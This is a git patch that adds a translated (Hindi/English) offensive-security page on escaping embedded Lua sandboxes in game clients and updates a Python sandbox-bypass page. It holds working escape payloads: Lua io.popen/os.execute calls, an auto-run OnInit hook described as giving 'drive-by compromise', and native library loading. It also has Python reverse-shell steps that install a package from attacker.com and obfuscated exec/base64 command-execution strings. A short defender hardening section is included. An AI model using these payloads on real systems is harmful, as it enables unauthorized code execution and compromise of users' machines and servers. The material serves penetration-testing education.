From f04daa3503796f0349185efabb377b6615757cc1 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 10:54:02 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/lua/bypass-lua-sand --- src/SUMMARY.md | 13 +- .../lua/bypass-lua-sandboxes/README.md | 115 ++++++++++ .../python/bypass-python-sandboxes/README.md | 196 +++++++++--------- 3 files changed, 217 insertions(+), 107 deletions(-) create mode 100644 src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index ed10ffe41..343cdd455 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -80,6 +80,8 @@ - [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md) - [Basic Python](generic-methodologies-and-resources/python/basic-python.md) - [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md) +- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md) +- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md) # ЁЯзЩтАНтЩВя╕П Generic Hacking @@ -926,13 +928,4 @@ - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) - [Cookies Policy](todo/cookies-policy.md) - - - - - [Readme](blockchain/blockchain-and-crypto-currencies/README.md) - - [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md) - - [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md) - - [Readme](pentesting-web/web-vulnerabilities-methodology/README.md) - - [Readme](reversing/cryptographic-algorithms/README.md) - - [Readme](reversing/reversing-tools/README.md) - - [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md) \ No newline at end of file + diff --git a/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md b/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md new file mode 100644 index 000000000..7a8e083e3 --- /dev/null +++ b/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md @@ -0,0 +1,115 @@ +# Bypass Lua sandboxes (embedded VMs, game clients) + +{{#include ../../../banners/hacktricks-training.md}} + +рдпрд╣ рдкреГрд╖реНрда рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ embedded Lua "sandboxes" рдХреЛ enumerate рдХрд░рдиреЗ рдФрд░ рдЙрдирд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреЗ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рддрд░реАрдХреЛрдВ рдХреЛ рдЗрдХрдЯреНрдард╛ рдХрд░рддрд╛ рд╣реИ (рд╡рд┐рд╢реЗрд╖рдХрд░ game clients, plugins, рдпрд╛ in-app scripting engines)ред рдХрдИ engines рд╕реАрдорд┐рдд Lua environment expose рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╢рдХреНрддрд┐рд╢рд╛рд▓реА globals рдХреЛ reachable рдЫреЛрдбрд╝ рджреЗрддреЗ рд╣реИрдВ рдЬреЛ arbitrary command execution рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ native memory corruption рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ рдЬрдм bytecode loaders exposed рд╣реЛрдВред + +рдореБрдЦреНрдп рд╡рд┐рдЪрд╛рд░: +- VM рдХреЛ рдПрдХ рдЕрдЬреНрдЮрд╛рдд environment рдорд╛рдиреЗрдВ: _G рдХреЛ enumerate рдХрд░реЗрдВ рдФрд░ рдкрддрд╛ рд▓рдЧрд╛рдПрдБ рдХреМрди рд╕реЗ dangerous primitives reachable рд╣реИрдВред +- рдЬрдм stdout/print blocked рд╣реЛ, рдХрд┐рд╕реА рднреА in-VM UI/IPC рдЪреИрдирд▓ рдХрд╛ output sink рдХреЗ рд░реВрдк рдореЗрдВ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд░рд┐рдгрд╛рдо рджреЗрдЦреЗрдВред +- рдЕрдЧрд░ io/os exposed рд╣реИ, рддреЛ рдЕрдХреНрд╕рд░ рдЖрдкрдХреЗ рдкрд╛рд╕ direct command execution рд╣реЛрддрд╛ рд╣реИ (io.popen, os.execute)ред +- рдЕрдЧрд░ load/loadstring/loadfile exposed рд╣реИрдВ, рддреЛ crafted Lua bytecode рдЪрд▓рд╛рдХрд░ рдХреБрдЫ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ memory safety рдХреЛ subvert рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (тЙд5.1 verifiers bypassable рд╣реИрдВ; 5.2 рдиреЗ verifier рд╣рдЯрд╛ рджрд┐рдпрд╛), рдЬрд┐рд╕рд╕реЗ advanced exploitation рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИред + +## Sandboxed environment рдХреЛ enumerate рдХрд░реЗрдВ + +- Global environment рдХреЛ dump рдХрд░рдХреЗ reachable tables/functions рдХрд╛ inventory рдмрдирд╛рдПрдВ: +```lua +-- Minimal _G dumper for any Lua sandbox with some output primitive `out` +local function dump_globals(out) +out("=== DUMPING _G ===") +for k, v in pairs(_G) do +out(tostring(k) .. " = " .. tostring(v)) +end +end +``` +- рдпрджрд┐ print() рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИ, рддреЛ in-VM channels рдХрд╛ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред MMO housing script VM рдХреЗ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЬрд╣рд╛рдБ chat output рдХреЗрд╡рд▓ sound call рдХреЗ рдмрд╛рдж рд╣реА рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ; рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдПрдХ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп output function рдмрдирд╛рддрд╛ рд╣реИ: +```lua +-- Build an output channel using in-game primitives +local function ButlerOut(label) +-- Some engines require enabling an audio channel before speaking +H.PlaySound(0, "r[1]") -- quirk: required before H.Say() +return function(msg) +H.Say(label or 1, msg) +end +end + +function OnMenu(menuNum) +if menuNum ~= 3 then return end +local out = ButlerOut(1) +dump_globals(out) +end +``` +рдЕрдкрдиреЗ рд▓рдХреНрд╖реНрдп рдХреЗ рд▓рд┐рдП рдЗрд╕ рдкреИрдЯрд░реНрди рдХреЛ рд╕рд╛рдорд╛рдиреНрдп рдХрд░реЗрдВ: рдХреЛрдИ рднреА textbox, toast, logger, рдпрд╛ UI callback рдЬреЛ strings рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ, reconnaissance рдХреЗ рд▓рд┐рдП stdout рдХреА рддрд░рд╣ рдХрд╛рд░реНрдп рдХрд░ рд╕рдХрддрд╛ рд╣реИред + +## Direct command execution if io/os is exposed + +рдпрджрд┐ sandbox рдЕрднреА рднреА рдорд╛рдирдХ рд▓рд╛рдЗрдмреНрд░реЗрд░реА io рдпрд╛ os рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╕рдВрднрд╡рддрдГ immediate command execution рд╣реИ: +```lua +-- Windows example +io.popen("calc.exe") + +-- Cross-platform variants depending on exposure +os.execute("/usr/bin/id") +io.popen("/bin/sh -c 'id'") +``` +рдиреЛрдЯреНрд╕: +- рдирд┐рд╖реНрдкрд╛рджрди client process рдХреЗ рднреАрддрд░ рд╣реЛрддрд╛ рд╣реИ; рдХрдИ anti-cheat/antidebug рдкрд░рддреЗрдВ рдЬреЛ external debuggers рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддреА рд╣реИрдВ, in-VM process creation рдХреЛ рд░реЛрдХ рдирд╣реАрдВ рдкрд╛рдПрдВрдЧреАред +- рдпрд╣ рднреА рдЬрд╛рдВрдЪреЗрдВ: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), рдФрд░ debug library (can raise privileges inside the VM). + +## Zero-click triggers via auto-run callbacks + +If the host application pushes scripts to clients and the VM exposes auto-run hooks (e.g., OnInit/OnLoad/OnEnter), place your payload there for drive-by compromise as soon as the script loads: +```lua +function OnInit() +io.popen("calc.exe") -- or any command +end +``` +рдХреЛрдИ рднреА рд╕рдордХрдХреНрд╖ callback (OnLoad, OnEnter, рдЖрджрд┐) рдЗрд╕ рддрдХрдиреАрдХ рдХреЛ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рдХрд░рддрд╛ рд╣реИ рдЬрдм scripts рд╕реНрд╡рддрдГ client рдкрд░ рднреЗрдЬреЗ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред + +## Recon рдХреЗ рджреМрд░рд╛рди рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЦрддрд░рдирд╛рдХ primitives + +_G enumeration рдХреЗ рджреМрд░рд╛рди, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдирд┐рдореНрди рджреЗрдЦреЗрдВ: +- io, os: io.popen, os.execute, file I/O, env access. +- load, loadstring, loadfile, dofile: source рдпрд╛ bytecode рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ; untrusted bytecode рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ. +- package, package.loadlib, require: dynamic library loading рдФрд░ module surface. +- debug: setfenv/getfenv (тЙд5.1), getupvalue/setupvalue, getinfo, and hooks. +- LuaJIT-only: ffi.cdef, ffi.load native code рдХреЛ рд╕реАрдзреЗ call рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП. + +рдпрджрд┐ рдкрд╣реБрдБрдЪ рд╕рдВрднрд╡ рд╣реЛ рддреЛ рдиреНрдпреВрдирддрдо рдЙрдкрдпреЛрдЧ рдХреЗ рдЙрджрд╛рд╣рд░рдг: +```lua +-- Execute source/bytecode +local f = load("return 1+1") +print(f()) -- 2 + +-- loadstring is alias of load for strings in 5.1 +local bc = string.dump(function() return 0x1337 end) +local g = loadstring(bc) -- in 5.1 may run precompiled bytecode +print(g()) + +-- Load native library symbol (if allowed) +local mylib = package.loadlib("./libfoo.so", "luaopen_foo") +local foo = mylib() +``` +## рд╡реИрдХрд▓реНрдкрд┐рдХ escalation: Lua bytecode loaders рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ + +рдЬрдм load/loadstring/loadfile рдкрд╣реБрдБрдЪ рдореЗрдВ рд╣реЛрдВ рдкрд░ io/os рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╣реЛрдВ, рддреЛ crafted Lua bytecode рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди memory disclosure рдФрд░ corruption primitives рддрдХ рдкрд╣реБрдВрдЪрд╛ рд╕рдХрддрд╛ рд╣реИред рдореБрдЦреНрдп рддрдереНрдп: +- Lua тЙд 5.1 shipped a bytecode verifier that has known bypasses. +- Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited. +- Workflows typically: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution. + +рдпрд╣ рд░рд╛рд╕реНрддрд╛ engine/version-specific рд╣реИ рдФрд░ RE рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП references рджреЗрдЦреЗрдВ тАФ exploitation primitives рдФрд░ games рдореЗрдВ рдореМрдЬреВрдж example gadgetry рдХреЗ рд▓рд┐рдПред + +## Detection and hardening notes (for defenders) + +- Server side: user scripts рдХреЛ reject рдпрд╛ rewrite рдХрд░реЗрдВ; allowlist safe APIs рд▓рд╛рдЧреВ рдХрд░реЗрдВ; io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi рдХреЛ strip рдпрд╛ bind-empty рдХрд░ рджреЗрдВред +- Client side: Lua рдХреЛ рдПрдХ minimal _ENV рдХреЗ рд╕рд╛рде рдЪрд▓рд╛рдПрдБ, bytecode loading рдХреЛ рдирд┐рд╖рд┐рджреНрдз рдХрд░реЗрдВ, рдПрдХ strict bytecode verifier рдпрд╛ signature checks рдкреБрдирдГ рд▓рд╛рдЧреВ рдХрд░реЗрдВ, рдФрд░ client process рд╕реЗ process creation рдХреЛ рдмреНрд▓реЙрдХ рдХрд░реЗрдВред +- Telemetry: script load рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж gameclient тЖТ child process creation рдкрд░ рдЕрд▓рд░реНрдЯ рдХрд░реЗрдВ; рдЗрд╕реЗ UI/chat/script events рдХреЗ рд╕рд╛рде correlate рдХрд░реЗрдВред + +## References + +- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/) +- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/) +- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html) +- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index 71fdd0a98..c15a45d52 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -2,11 +2,12 @@ {{#include ../../../banners/hacktricks-training.md}} -рдпреЗ рдХреБрдЫ рддрд░рдХреАрдмреЗрдВ рд╣реИрдВ рдЬреЛ python sandbox protections рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдХреЗ arbitrary commands рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддреА рд╣реИрдВред +рдпреЗ рдХреБрдЫ рдЯреНрд░рд┐рдХреНрд╕ рд╣реИрдВ рдЬреЛ python sandbox protections рдХреЛ bypass рдХрд░рдХреЗ arbitrary commands execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИрдВред -## рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ -рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ import рдХреА рдЧрдИ рдХрд┐рд╕реА library рдХреЗ рд╕рд╛рде рд╕реАрдзреЗ code execute рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╛ рдХреНрдпрд╛ рдЖрдк рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА library import рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +## Command Execution Libraries + +рд╕рдмрд╕реЗ рдкрд╣рд▓реА рдмрд╛рдд рдЬреЛ рдЖрдкрдХреЛ рдЬрд╛рдирдиреА рдЪрд╛рд╣рд┐рдП рд╡рд╣ рдпрд╣ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рдкрд╣рд▓реЗ рд╕реЗ imported library рдХреЗ рд╕рд╛рде рд╕реАрдзреЗ execute code рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╛ рдХреНрдпрд╛ рдЖрдк рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА libraries import рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```python os.system("ls") os.popen("ls").read() @@ -39,21 +40,21 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` -рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ _**open**_ рдФрд░ _**read**_ functions python sandbox рдХреЗ рдЕрдВрджрд░ **рдлрд╝рд╛рдЗрд▓реЗрдВ рдкрдврд╝рдиреЗ** рдФрд░ **рдХреБрдЫ рдХреЛрдб рд▓рд┐рдЦрдиреЗ** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк **execute** рдХрд░рдХреЗ sandbox рдХреЛ **bypass** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox. -> [!CAUTION] > **Python2 input()** function рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреНрд░реИрд╢ рд╣реЛрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ python code рдХреЛ execute рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +> [!CAUTION] > **Python2 input()** function allows executing python code before the program crashes. -Python рдкрд╣рд▓реЗ **current directory рд╕реЗ libraries рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ** (рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдпрд╣ рдмрддрд╛рдПрдЧрд╛ рдХрд┐ python рдХрд╣рд╛рдБ рд╕реЗ modules рд▓реЛрдб рдХрд░ рд░рд╣рд╛ рд╣реИ): `python3 -c 'import sys; print(sys.path)'` +Python try to **load libraries from the current directory first** (the following command will print where is python loading modules from): `python3 -c 'import sys; print(sys.path)'` ![](<../../../images/image (559).png>) -## Default installed python packages рдХреЗ рд╕рд╛рде pickle sandbox рдХреЛ Bypass рдХрд░реЗрдВ +## Bypass pickle sandbox with the default installed python packages -### рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреИрдХреЗрдЬ +### Default packages -рдЖрдк рдпрд╣рд╛рдБ **pre-installed рдкреИрдХреЗрдЬреЛрдВ рдХреА рд╕реВрдЪреА** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдПрдХ pickle рд╕реЗ рдЖрдк рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП python env рдХреЛ **import arbitrary libraries** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдиреАрдЪреЗ рджрд┐рдпрд╛ рдЧрдпрд╛ pickle рдЬрдм рд▓реЛрдб рд╣реЛрдЧрд╛ рддреЛ рдпрд╣ pip рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ import рдХрд░рдХреЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реИ: +You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ +Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system.\ +For example, the following pickle, when loaded, is going to import the pip library to use it: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it @@ -66,32 +67,32 @@ return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` -pickle рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) +pickle рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдпрд╣ рджреЗрдЦреЗрдВ: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) -### Pip рдкреИрдХреЗрдЬ +### Pip package -рдЯреНрд░рд┐рдХ рд╕рд╛рдЭрд╛ рдХреА рдЧрдИ: **@isHaacK** +рдЯреНрд░рд┐рдХ рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ: **@isHaacK** -рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ `pip` рдпрд╛ `pip.main()` рддрдХ рдкрд╣реБрдБрдЪ рд╣реИ рддреЛ рдЖрдк рдХрд┐рд╕реА рднреА рдкреИрдХреЗрдЬ рдХреЛ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдирд┐рдореНрди рдХреЙрд▓ рдХрд░рдХреЗ рдПрдХ reverse shell рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ `pip` рдпрд╛ `pip.main()` рддрдХ рдкрд╣реБрдБрдЪ рд╣реИ, рддреЛ рдЖрдк рдХреЛрдИ рднреА рдкреИрдХреЗрдЬ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдХреЗ рдФрд░ рдХреЙрд▓ рдХрд░рдХреЗ рдПрдХ reverse shell рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` -рдЖрдк reverse shell рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдкреИрдХреЗрдЬ рдпрд╣рд╛рдБ рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЖрдкрдХреЛ **рдЗрд╕реЗ рдЕрдирдЬрд╝рд┐рдк рдХрд░рдирд╛, `setup.py` рдмрджрд▓рдирд╛, рдФрд░ reverse shell рдХреЗ рд▓рд┐рдП рдЕрдкрдирд╛ IP рдбрд╛рд▓рдирд╛** рдЪрд╛рд╣рд┐рдП: +You can download the package to create the reverse shell here. Please, note that before using it you should **рдЕрдирдкреИрдХ рдХрд░рдирд╛, `setup.py` рдмрджрд▓рдирд╛, рдФрд░ reverse shell рдХреЗ рд▓рд┐рдП рдЕрдкрдирд╛ IP рдбрд╛рд▓рдирд╛**: {{#file}} Reverse.tar (1).gz {{#endfile}} > [!TIP] -> рдпрд╣ рдкреИрдХреЗрдЬ `Reverse` рдирд╛рдо рдХрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕реЗ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЗрд╕ рддрд░рд╣ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ рдХрд┐ рдЬрдм рдЖрдк reverse shell рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓реЗрдВрдЧреЗ рддреЛ рдмрд╛рдХреА рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рдПрдЧреА, рдЗрд╕рд▓рд┐рдП рдЖрдк рдЫреЛрдбрд╝рддреЗ рд╕рдордп **server рдкрд░ рдХреЛрдИ рдЕрддрд┐рд░рд┐рдХреНрдд python package installed рдирд╣реАрдВ рдЫреЛрдбрд╝реЗрдВрдЧреЗ**ред +> рдпрд╣ рдкреИрдХреЗрдЬ `Reverse` рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕реЗ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЗрд╕ рддрд░рд╣ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЬрдм рдЖрдк reverse shell рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рддреЗ рд╣реИрдВ рддреЛ рдмрд╛рдХреА installation рдЕрд╕рдлрд▓ рд╣реЛ рдЬрд╛рдПрдЧреА, рдЗрд╕рд▓рд┐рдП рдЖрдк рдЬрдм рдЫреЛрдбрд╝рдХрд░ рдЬрд╛рдПрдБ рддреЛ рд╕рд░реНрд╡рд░ рдкрд░ рдХреЛрдИ рдЕрддрд┐рд░рд┐рдХреНрдд python package installed рдирд╣реАрдВ рдЫреЛрдбрд╝реЗрдВрдЧреЗред ## Eval-ing python code > [!WARNING] -> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ exec рдорд▓реНрдЯреАрд▓рд╛рдЗрди рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдФрд░ ";", рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди eval рдирд╣реАрдВ рдХрд░рддрд╛ (walrus operator рджреЗрдЦреЗрдВ) +> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ exec рдмрд╣реБ-рдкрдВрдХреНрддрд┐ strings рдФрд░ ";" рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди eval рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИ (walrus operator рджреЗрдЦреЗрдВ) -рдпрджрд┐ рдХреБрдЫ characters рдирд┐рд╖рд┐рджреНрдз рд╣реИрдВ, рддреЛ рдЖрдк **hex/octal/B64** representation рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╕ рдкреНрд░рддрд┐рдмрдВрдз рдХреЛ **bypass** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрджрд┐ рдХреБрдЫ characters рдирд┐рд╖рд┐рджреНрдз рд╣реИрдВ рддреЛ рдЖрдк **hex/octal/B64** representation рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╕ restriction рдХреЛ **bypass** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -112,7 +113,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` -### рдЕрдиреНрдп рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ рдЬреЛ eval python code рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ +### рдЕрдиреНрдп рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдЬреЛ python рдХреЛрдб рдХреЛ eval рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ ```python #Pandas import pandas as pd @@ -126,15 +127,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` -PDF generators рдореЗрдВ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ-рд╡рд┐рд╢реНрд╡ sandboxed evaluator escape рднреА рджреЗрдЦреЗрдВ: +PDF рдЬрдирд░реЗрдЯрд░реЛрдВ рдореЗрдВ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ-рд╡рд┐рд╢реНрд╡ sandboxed evaluator escape рднреА рджреЗрдЦреЗрдВ: -- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation тЖТ RCE (CVE-2023-33733). рдпрд╣ rl_safe_eval рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ evaluated attributes (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, font color) рд╕реЗ function.__globals__ рдФрд░ os.system рддрдХ рдкрд╣реБрдВрдЪрддрд╛ рд╣реИ рдФрд░ рд░реЗрдВрдбрд░рд┐рдВрдЧ рдХреЛ рд╕реНрдерд┐рд░ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реИрдз рдорд╛рди 